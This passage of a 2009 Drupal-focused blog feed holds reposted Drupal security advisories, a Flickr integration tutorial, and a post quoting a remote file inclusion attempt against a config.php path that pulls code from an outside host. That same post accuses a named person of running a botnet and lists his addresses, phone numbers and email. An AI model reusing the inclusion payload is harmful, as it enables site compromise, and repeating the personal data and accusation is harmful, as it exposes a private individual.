href="http://www.VictoriaCMS.com/consulting.html"&gt;Now we're doing Consulting full-time, all the time&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6563507127542788807?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6563507127542788807/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6563507127542788807' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6563507127542788807'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6563507127542788807'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/01/cooling-hot-drupal-install.html' title='Cooling A Hot Drupal Install'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6169414573442691660</id><published>2009-01-15T18:14:00.000-08:00</published><updated>2009-01-15T16:27:31.985-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Gary Pinson'/><title type='text'>Are CB Maketing and Paypal Hell a bunch of  botnet douchebags?</title><content type='html'>I found this great exploit attempt:&lt;br /&gt;&lt;br /&gt;http://[poor site]/includes/config.php?cfg[path][phplib]=http://cbmarketer.com/images/t_pane.jpg/id.txt??&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Making a vulnerable site go to http://cbmarketer.com/images/t_pane.jpg/ download an id.txt file to get info on a server; then use spread.txt to suck down the crap to sell an e-book to via email to a bunch of poor characters out there.&lt;br /&gt;&lt;br /&gt;Way to go, CBMarketer (aka Gary Pinson)&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;Registrant:&lt;br /&gt;Gary Pinson&lt;br /&gt;5201 FM 2088&lt;br /&gt;Winnsboro, Texas 75494&lt;br /&gt;United States&lt;br /&gt;&lt;br /&gt;(also:&lt;br /&gt;2126 E State Highway 154&lt;br /&gt;Quitman, TX 75783-7190) &lt;pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;iframe marginheight="0" marginwidth="0" src="http://maps.google.ca/maps?f=q&amp;amp;source=s_q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=State+Highway+Quitman+Texas&amp;amp;sll=32.794201,-95.4245&amp;amp;sspn=0.015152,0.038624&amp;amp;ie=UTF8&amp;amp;ll=32.843827,-95.439606&amp;amp;spn=0.115262,0.246308&amp;amp;t=h&amp;amp;output=embed&amp;amp;s=AARTsJpZ8h45dsEEsosFS2FJJWRGNHIugw" frameborder="0" height="350" scrolling="no" width="425"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;small&gt;&lt;a href="http://maps.google.ca/maps?f=q&amp;amp;source=embed&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=State+Highway+Quitman+Texas&amp;amp;sll=32.794201,-95.4245&amp;amp;sspn=0.015152,0.038624&amp;amp;ie=UTF8&amp;amp;ll=32.843827,-95.439606&amp;amp;spn=0.115262,0.246308&amp;amp;t=h" style="color: rgb(0, 0, 255); text-align: left;"&gt;View Larger Map&lt;/a&gt;&lt;/small&gt;&lt;br /&gt;&lt;br /&gt;Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)&lt;br /&gt;Domain Name: CBMARKETER.COM&lt;br /&gt;Created on: 23-Apr-06&lt;br /&gt;Expires on: 23-Apr-09&lt;br /&gt;Last Updated on: 23-Apr-08&lt;br /&gt;&lt;br /&gt;Administrative Contact:&lt;br /&gt;Pinson, Gary  &lt;a href="mailto:GPinson@PromoteLink.com"&gt;GPinson@PromoteLink.com&lt;/a&gt;&lt;br /&gt;5201 FM 2088&lt;br /&gt;Winnsboro, Texas 75494&lt;br /&gt;United States&lt;br /&gt;(903) 629-7112      Fax -- (903) 342-3326&lt;br /&gt;&lt;br /&gt;Technical Contact:&lt;br /&gt;Pinson, Gary &lt;a href="mailto:GPinson@PromoteLink.com"&gt;GPinson@PromoteLink.com&lt;/a&gt;&lt;br /&gt;5201 FM 2088&lt;br /&gt;Winnsboro, Texas 75494&lt;br /&gt;United States&lt;br /&gt;(903) 629-7112      Fax -- (903) 342-3326&lt;br /&gt;&lt;br /&gt;Domain servers in listed order:&lt;br /&gt;NS1.MY-WEBSPACE.BIZ&lt;br /&gt;NS2.MY-WEBSPACE.BIZ&lt;/pre&gt;&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6169414573442691660?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6169414573442691660/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6169414573442691660' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6169414573442691660'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6169414573442691660'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/01/are-cb-maketing-and-paypal-hell-bunch.html' title='Are CB Maketing and Paypal Hell a bunch of  botnet douchebags?'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-1851736897340704813</id><published>2009-01-15T01:24:00.001-08:00</published><updated>2009-01-15T16:15:12.286-08:00</updated><title type='text'>[Security announcements] SA-CONTRIB-2009-004 - Notify - Privilege escalation</title><content type='html'>---- SA-CONTRIB-2009-004 - NOTIFY - PRIVILEGE ESCALATION ----&lt;p&gt;  * Advisory ID: DRUPAL-SA-CONTRIB-2009-004&lt;p&gt;  * Project: Notify&lt;p&gt;  * Versions: 5.x&lt;p&gt;  * Date: 2009-January-15&lt;p&gt;  * Security risk: Moderately critical&lt;p&gt;  * Exploitable from: Remote&lt;p&gt;  * Vulnerability: Privilege escalation&lt;p&gt;---- DESCRIPTION ----&lt;p&gt;A user triggering the cron processing of the Notify module may end up getting&lt;br&gt;logged in as another user when the Notify operations do not complete&lt;br&gt;succesfully.&lt;p&gt;---- VERSIONS AFFECTED ----&lt;p&gt;  * Versions of Notify for Drupal 5.x prior to 5.x-1.2&lt;p&gt;Drupal core is not affected. If you do not use the Notify module, there is&lt;br&gt;nothing you need to do.&lt;p&gt;---- SOLUTION ----&lt;p&gt;Install the latest version.&lt;p&gt;  * If you use Notify for Drupal 5.x upgrade to 5.x-1.2 [&lt;br&gt;&lt;a href="http://drupal.org/node/358495"&gt;http://drupal.org/node/358495&lt;/a&gt; ]&lt;p&gt;Also see the Notify project page [ &lt;a href="http://drupal.org/project/notify"&gt;http://drupal.org/project/notify&lt;/a&gt; ].&lt;p&gt;---- REPORTED BY ----&lt;p&gt;Philippe Jadin and Bill Kennedy&lt;p&gt;---- CONTACT ----&lt;p&gt;The security contact for Drupal can be reached at security at &lt;a href="http://drupal.org"&gt;drupal.org&lt;/a&gt; or via&lt;br&gt;the form at [ &lt;a href="http://drupal.org/contact"&gt;http://drupal.org/contact&lt;/a&gt; ] and by selecting the security issues&lt;br&gt;category.&lt;p&gt;&lt;p&gt;-- &lt;br&gt;Unsubscribe from this newsletter: &lt;a href="http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44"&gt;http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-1851736897340704813?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/1851736897340704813/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=1851736897340704813' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1851736897340704813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1851736897340704813'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/01/security-announcements-sa-contrib-2009_15.html' title='[Security announcements] SA-CONTRIB-2009-004 - Notify - Privilege escalation'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-1027360297578243991</id><published>2009-01-14T18:01:00.001-08:00</published><updated>2009-01-15T16:15:12.291-08:00</updated><title type='text'>[Security announcements] SA-CORE-2009-001  Drupal core - Multiple vulnerabilities</title><content type='html'>---- SA-CORE-2009-001  DRUPAL CORE - MULTIPLE VULNERABILITIES ----&lt;p&gt;  * Advisory ID: DRUPAL-SA-CORE-2009-001&lt;p&gt;  * Project: Drupal core&lt;p&gt;  * Versions: 5.x and 6.x&lt;p&gt;  * Date: 2009-January-14&lt;p&gt;  * Security risk: Moderately Critical&lt;p&gt;  * Exploitable from: Remote&lt;p&gt;  * Vulnerability: Multiple vulnerabilities&lt;p&gt;Multiple vulnerabilities and weaknesses were discovered in Drupal.&lt;p&gt;---- ACCESS BYPASS ----&lt;p&gt;The Content Translation module for Drupal 6.x enables users to make a&lt;br&gt;translation of an existing item of content (a node). In that process the&lt;br&gt;existing node&amp;#39;s content is copied into the new node&amp;#39;s submission form.&lt;p&gt;The module contains a flaw that allows a user with the &amp;#39;translate content&amp;#39;&lt;br&gt;permission to potentially bypass normal viewing access restrictions, for example&lt;br&gt;allowing the user to see the content of unpublished nodes even if they do not&lt;br&gt;have permission to view unpublished nodes.&lt;p&gt;This issue only affects Drupal 6.x.&lt;p&gt;---- VALIDATION BYPASS ----&lt;p&gt;When user profile pictures are enabled, the default user profile validation&lt;br&gt;function will be bypassed, possibly allowing invalid user names or e-mail&lt;br&gt;addresses to be submitted.&lt;p&gt;This issue only affects Drupal 6.x.&lt;p&gt;---- HARDENING AGAINST SQL INJECTION ----&lt;p&gt;A parameter passed into the node access API was not properly escaped or&lt;br&gt;validated before being used in SQL queries.  While there is no direct risk of&lt;br&gt;SQL injection from Drupal core, it&amp;#39;s possible that this could have presented a&lt;br&gt;risk in combination with a contributed module.  Additional validation has been&lt;br&gt;added to eliminate this risk.&lt;p&gt;This issue affects both Drupal 5.x and Drupal 6.x.&lt;p&gt;---- VERSIONS AFFECTED ----&lt;p&gt;  * Drupal 5.x before version 5.15.&lt;p&gt;  * Drupal 6.x before version 6.9.&lt;p&gt;---- SOLUTION ----&lt;p&gt;Install the latest version:&lt;p&gt;  * If you are running Drupal 5.x then upgrade to Drupal 5.15 [&lt;br&gt;&lt;a href="http://ftp.drupal.org/files/projects/drupal-5.15.tar.gz"&gt;http://ftp.drupal.org/files/projects/drupal-5.15.tar.gz&lt;/a&gt; ].&lt;p&gt;  * If you are running Drupal 6.x then upgrade to Drupal 6.9 [&lt;br&gt;&lt;a href="http://ftp.drupal.org/files/projects/drupal-6.9.tar.gz"&gt;http://ftp.drupal.org/files/projects/drupal-6.9.tar.gz&lt;/a&gt; ].&lt;p&gt;If you are unable to upgrade immediately, you can apply a patch to secure your&lt;br&gt;installation until you are able to do a proper upgrade. The patches fix security&lt;br&gt;vulnerabilities, but do not contain other fixes which were released in these&lt;br&gt;versions.&lt;p&gt;  * To patch Drupal 5.14 use SA-CORE-2009-001-5.14.patch [&lt;br&gt;&lt;a href="http://drupal.org/files/sa-core-2009-001/SA-CORE-2009-001-5.14.patch"&gt;http://drupal.org/files/sa-core-2009-001/SA-CORE-2009-001-5.14.patch&lt;/a&gt; ].&lt;p&gt;  * To patch Drupal 6.8 use SA-CORE-2009-001-6.8.patch [&lt;br&gt;&lt;a href="http://drupal.org/files/sa-core-2009-001/SA-CORE-2009-001-6.8.patch"&gt;http://drupal.org/files/sa-core-2009-001/SA-CORE-2009-001-6.8.patch&lt;/a&gt; ].&lt;p&gt;---- REPORTED BY ----&lt;p&gt;The access bypass issue for translations was reported by Wolfgang Ziegler [&lt;br&gt;&lt;a href="http://drupal.org/user/16747"&gt;http://drupal.org/user/16747&lt;/a&gt; ].&lt;p&gt;The validation bypass was reported by v1nce [ &lt;a href="http://drupal.org/user/52144"&gt;http://drupal.org/user/52144&lt;/a&gt; ], &lt;br&gt;supersmashbrothers [ &lt;a href="http://drupal.org/user/241667"&gt;http://drupal.org/user/241667&lt;/a&gt; ], Tejus Pratap [&lt;br&gt;&lt;a href="http://drupal.org/user/360600"&gt;http://drupal.org/user/360600&lt;/a&gt; ], and Limiting Factor [&lt;br&gt;&lt;a href="http://drupal.org/user/373498"&gt;http://drupal.org/user/373498&lt;/a&gt; ].&lt;p&gt;The need for SQL hardening was reported by Derek Wright [&lt;br&gt;&lt;a href="http://drupal.org/user/46549"&gt;http://drupal.org/user/46549&lt;/a&gt; ] of the Drupal Security Team.&lt;p&gt;---- CONTACT ----&lt;p&gt;The security team for Drupal can be reached at security at &lt;a href="http://drupal.org"&gt;drupal.org&lt;/a&gt; or via&lt;br&gt;the form at [ &lt;a href="http://drupal.org/contact"&gt;http://drupal.org/contact&lt;/a&gt; ].&lt;p&gt;&lt;p&gt;-- &lt;br&gt;Unsubscribe from this newsletter: &lt;a href="http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44"&gt;http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-1027360297578243991?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/1027360297578243991/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=1027360297578243991' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1027360297578243991'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/1027360297578243991'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/01/security-announcements-sa-core-2009-001.html' title='[Security announcements] SA-CORE-2009-001  Drupal core - Multiple vulnerabilities'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-7189016002838471867</id><published>2009-01-14T16:13:00.001-08:00</published><updated>2009-01-15T16:15:12.298-08:00</updated><title type='text'>[Security announcements] SA-CONTRIB-2009-003 - Internationalizaion (i18n) Translation module - Access bypass</title><content type='html'>---- SA-CONTRIB-2009-003 - INTERNATIONALIZAION (I18N) TRANSLATION MODULE -&lt;br&gt;ACCESS BYPASS ----&lt;p&gt;  * Advisory ID: DRUPAL-SA-CONTRIB-2009-003&lt;p&gt;  * Project: Internationalization (i18n) (third-party module)&lt;p&gt;  * Version: 5.x-2.x&lt;p&gt;  * Date: 2009-January-14&lt;p&gt;  * Security risk: Less critical&lt;p&gt;  * Exploitable from: Remote&lt;p&gt;  * Vulnerability: Access bypass&lt;p&gt;---- DESCRIPTION ----&lt;p&gt;The third-party i18n module enables users to make a translation of an existing&lt;br&gt;item of content (a node). In that process the existing node&amp;#39;s content is copied&lt;br&gt;into the new node.&lt;p&gt;The module contains a flaw that allows a user with the &amp;#39;translate node&amp;#39;&lt;br&gt;permission to potentially bypass normal viewing access restrictions, for example&lt;br&gt;allowing the user to see the content of unpublished nodes even if they do not&lt;br&gt;have permission to view unpublished nodes.&lt;p&gt;---- VERSIONS AFFECTED ----&lt;p&gt;  * All 5.x versions of Internationalization (i18n) prior to 5.x-2.5.&lt;p&gt;Drupal core is not affected. If you do not use the contributed&lt;br&gt;Internationalization (i18n) module, there is nothing you need to do.&lt;p&gt;---- SOLUTION ----&lt;p&gt;Install the latest version:&lt;p&gt;  * If you use 5.x-2.x upgrade to Internationalization 5.x-2.5 [&lt;br&gt;&lt;a href="http://drupal.org/node/358986"&gt;http://drupal.org/node/358986&lt;/a&gt; ].&lt;p&gt;See also the Internationalization project page [ &lt;a href="http://drupal.org/project/i18n"&gt;http://drupal.org/project/i18n&lt;/a&gt;&lt;br&gt;]. &lt;p&gt;---- REPORTED BY ----&lt;p&gt;Wolfgang Ziegler [ &lt;a href="http://drupal.org/user/16747"&gt;http://drupal.org/user/16747&lt;/a&gt; ] and by Nat Catchpole [&lt;br&gt;&lt;a href="http://drupal.org/user/35733"&gt;http://drupal.org/user/35733&lt;/a&gt; ] of the Drupal security team.&lt;p&gt;---- CONTACT ----&lt;p&gt;The security contact for Drupal can be reached at security at &lt;a href="http://drupal.org"&gt;drupal.org&lt;/a&gt; or via&lt;br&gt;the form at [ &lt;a href="http://drupal.org/contact"&gt;http://drupal.org/contact&lt;/a&gt; ].&lt;p&gt;&lt;p&gt;-- &lt;br&gt;Unsubscribe from this newsletter: &lt;a href="http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44"&gt;http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-7189016002838471867?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/7189016002838471867/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=7189016002838471867' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7189016002838471867'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/7189016002838471867'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/01/security-announcements-sa-contrib-2009_14.html' title='[Security announcements] SA-CONTRIB-2009-003 - Internationalizaion (i18n) Translation module - Access bypass'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-4140620178756497778</id><published>2009-01-08T19:10:00.002-08:00</published><updated>2009-01-08T19:10:56.539-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='API'/><category scheme='http://www.blogger.com/atom/ns#' term='Flickr'/><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>How to hook Flickr to your site via Drupal</title><content type='html'>&lt;span class="main_text"&gt;&lt;span style="text-align: left;"&gt;I have &lt;a href="http://www.flickr.com/photos/dewolfe001/" target="_new"&gt;a Flickr account&lt;/a&gt;, &lt;a href="http://mike.dewolfe.bc.ca/" target="_new"&gt;a personal site&lt;/a&gt;, &lt;a href="http://technicalmike.blogspot.com/search?q=Drupal" target="_new"&gt;alot of sad geeky experience with Drupal&lt;/a&gt; and a passion for tapping into APIs where I find them. Also, &lt;a href="http://mike.dewolfe.bc.ca/product_search?search=Adobe+CS4" target="_new"&gt;I wouldn't mind monetizing&lt;/a&gt; what I am doing. The Flickr module for Drupal is good, but I wanted to take these images and include them on my own site as nodes. Also, I wanted a process that would automatically grab images rather than making me cut and paste images into my site. Beyond this, I wanted to leave this concept open enough that I could pop in media from other sources (like &lt;a href="http://www.youtube.com/user/dewolfe001"&gt;Youtube&lt;/a&gt;). This is how to combine these elements into a whole and this may help you if you want to do the same thing. &lt;br /&gt;&lt;br /&gt;There are some things you have go out there and find (and some I include below that): &lt;ul&gt;&lt;li&gt;&lt;a href="http://www.drupal.org/"&gt;Drupal driven site&lt;/a&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://drupal.org/project/flickr"&gt;Flickr module&lt;/a&gt;&lt;/li&gt;&lt;a href="http://drupal.org/project/flickr"&gt;   &lt;/a&gt;&lt;/ul&gt;&lt;li&gt;&lt;a href="http://www.flickr.com/"&gt;Flickr account&lt;/a&gt;&lt;/li&gt;&lt;ul&gt;&lt;li&gt;&lt;a href="http://www.flickr.com/services/api/"&gt;Flickr API key&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;&lt;br /&gt;You need to build a content type to support holding and displaying these pieces of gathered content. I built a content-type, Media, to hold a rendered copy of the image and some supporting information. The view of the page is pre-built by my node-save process. I have added a source field to hold a reference to the image; this will be checked when data is imported via the API so that you don't import multiple copies of the same image. To make this easier, I have used the Import/Export capacity to make &lt;a href="http://www.thosedewolfes.com/files/media_type.txt"&gt;a copy&lt;/a&gt; of the CCK content-type that you can import into your site.&lt;br /&gt;&lt;br /&gt;There are TONNES of elements available from the Flickr API. In my example, I grabbed the basics of the image and then I went back and grabbed the "exif" data for these images. The Exif has the potential to hold all of your camera's data: model, resolution, palette information. In my case, I am sniffing out the model information and I have added a field called "ware" in the Media type to hold the hardware and software used to create my images. I have a &lt;a href="http://technicalmike.blogspot.com/search?q=shopping.com"&gt;product search tool tied into Shopping.com&lt;/a&gt;. I take this model information, stored in the "ware" field and I used it to make linkage to the shopping.com tie-in. &lt;br /&gt;&lt;br /&gt;Next, I built a &lt;a href="http://www.thosedewolfes.com/files/node-media.tpl.php.txt"&gt;node template&lt;/a&gt; for this content-type. It formats the node and organizes its data. What it also does it make the linkage to the Product Search page using the ware field.&lt;br /&gt;&lt;br /&gt;What you can do with this content-type is build a view to display the nodes. I have an export of that node: &lt;a href="http://www.thosedewolfes.com/files/flickr_view.txt"&gt;View&lt;/a&gt;. The view can be used as a &lt;a href="http://mike.dewolfe.bc.ca/flickr_images"&gt;standalone page&lt;/a&gt;; or use a block in a panel or another part of your layout.&lt;br /&gt;&lt;br /&gt;How do you get your data from the API? You can build a standalone page with a bootstrap include. Or, you could build a whole module around this action. Personally, I fewer to keep my module count as low as I can get away with-- too many modules and you have a huge weight to pack around when load pages. In my case, I went the easiest route possible: I made a page and added a qualifier so that the import functionality is not easily called. If it is called additional times, the source field should save your bacon-- it will compare the images you already have vs. those seen from the API data. When you execute this code, calling &lt;i&gt;media_node_flickr()&lt;/i&gt; will spawn the API call, the duplication check and the node saving. &lt;br /&gt;&lt;br /&gt;You can take the code and build on it-- add new fields to the content type, add functionality, mine the API for more information. &lt;/span&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-4140620178756497778?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/4140620178756497778/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=4140620178756497778' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4140620178756497778'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/4140620178756497778'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/01/how-to-hook-flickr-to-your-site-via.html' title='How to hook Flickr to your site via Drupal'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://1.bp.blogspot.com/_ekehePDB92c/TQHTY3uaysI/AAAAAAAAAUE/EJhhtunKJU0/S220/ProfilePics%2B002.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-13140861.post-6618040047789883939</id><published>2009-01-07T15:23:00.002-08:00</published><updated>2009-01-13T15:38:28.442-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Drupal'/><title type='text'>[Security announcements] SA-CONTRIB-2009-002 - Project issue tracking - Multiple vulnerabilities</title><content type='html'>---- SA-CONTRIB-2009-002 - PROJECT ISSUE TRACKING - MULTIPLE VULNERABILITIES&lt;br /&gt;----&lt;p&gt;  * Advisory ID: DRUPAL-SA-CONTRIB-2009-002&lt;/p&gt;&lt;p&gt;  * Project: Project issue tracking (third-party module)&lt;/p&gt;&lt;p&gt;  * Version: 5.x-2.x&lt;/p&gt;&lt;p&gt;  * Date: 2009-January-07&lt;/p&gt;&lt;p&gt;  * Security risk: Moderately critical&lt;/p&gt;&lt;p&gt;  * Exploitable from: Remote&lt;/p&gt;&lt;p&gt;  * Vulnerability: Node access bypass, Cross-site scripting (XSS)&lt;/p&gt;&lt;p&gt;---- DESCRIPTION ----&lt;/p&gt;&lt;p&gt;This announcement covers the following two issues for the Project issue&lt;br /&gt;tracking module [ &lt;a href="http://drupal.org/project/project_issue"&gt;http://drupal.org/project/project_issue&lt;/a&gt; ].&lt;/p&gt;&lt;p&gt;  * Under certain conditions, users may receive email updates for issues which&lt;br /&gt;they do not have proper access rights to.  This issue is mainly a problem for&lt;br /&gt;sites that use a contributed node access module, although it also affects issues&lt;br /&gt;that have been unpublished.&lt;/p&gt;&lt;p&gt;  * Malicious users with the "administer projects" permission are able to&lt;br /&gt;inject arbitrary code when adding or editing issue status values.  This is only&lt;br /&gt;an issue if you need any role separation between administrators and users with&lt;br /&gt;the "administer projects" permission.&lt;/p&gt;&lt;p&gt;Wikipedia has more information about cross site scripting [&lt;br /&gt;&lt;a href="http://en.wikipedia.org/wiki/Cross-site_scripting"&gt;http://en.wikipedia.org/wiki/Cross-site_scripting&lt;/a&gt; ] (XSS).&lt;/p&gt;&lt;p&gt;---- VERSIONS AFFECTED ----&lt;/p&gt;&lt;p&gt;  * Project issue tracking (project_issue) for Drupal 5.x prior to 5.x-2.3&lt;/p&gt;&lt;p&gt;Drupal core is not affected. If you do not use the contributed Project issue&lt;br /&gt;tracking module, there is nothing you need to do.&lt;/p&gt;&lt;p&gt;---- SOLUTION ----&lt;/p&gt;&lt;p&gt;Install the latest version:&lt;/p&gt;&lt;p&gt;  * Project issue tracking 5.x-2.3 [ &lt;a href="http://drupal.org/node/355709"&gt;http://drupal.org/node/355709&lt;/a&gt; ]&lt;/p&gt;&lt;p&gt;See also the Project issue tracking project page [&lt;br /&gt;&lt;a href="http://drupal.org/project/project_issue"&gt;http://drupal.org/project/project_issue&lt;/a&gt; ]. &lt;/p&gt;&lt;p&gt;---- REPORTED BY ----&lt;/p&gt;&lt;p&gt;  * The access bypass vulnerability was reported by Damien Tournoud [&lt;br /&gt;&lt;a href="http://drupal.org/user/22211"&gt;http://drupal.org/user/22211&lt;/a&gt; ] of the Drupal Security team [&lt;br /&gt;&lt;a href="http://drupal.org/security-team"&gt;http://drupal.org/security-team&lt;/a&gt; ].&lt;/p&gt;&lt;p&gt;  * The cross site scripting vulnerability was reported by Derek Wright (dww [&lt;br /&gt;&lt;a href="http://drupal.org/user/46549"&gt;http://drupal.org/user/46549&lt;/a&gt; ]) of the Drupal Security team [&lt;br /&gt;&lt;a href="http://drupal.org/security-team"&gt;http://drupal.org/security-team&lt;/a&gt; ].&lt;/p&gt;&lt;p&gt;---- CONTACT ----&lt;/p&gt;&lt;p&gt;The security contact for Drupal can be reached at security at &lt;a href="http://drupal.org/"&gt;drupal.org&lt;/a&gt; or via&lt;br /&gt;the form at [ &lt;a href="http://drupal.org/contact"&gt;http://drupal.org/contact&lt;/a&gt; ].&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;--&lt;a href="http://drupal.org/newsletter/confirm/remove/73ff60b93f11343t44"&gt;&lt;/a&gt;&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/13140861-6618040047789883939?l=technicalmike.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://technicalmike.blogspot.com/feeds/6618040047789883939/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=13140861&amp;postID=6618040047789883939' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6618040047789883939'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/13140861/posts/default/6618040047789883939'/><link rel='alternate' type='text/html' href='http://technicalmike.blogspot.com/2009/01/security-announcements-sa-contrib-2009.html' title='[Security announcements] SA-CONTRIB-2009-002 - Project issue tracking - Multiple vulnerabilities'/><author><name>Mike DeWolfe</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' 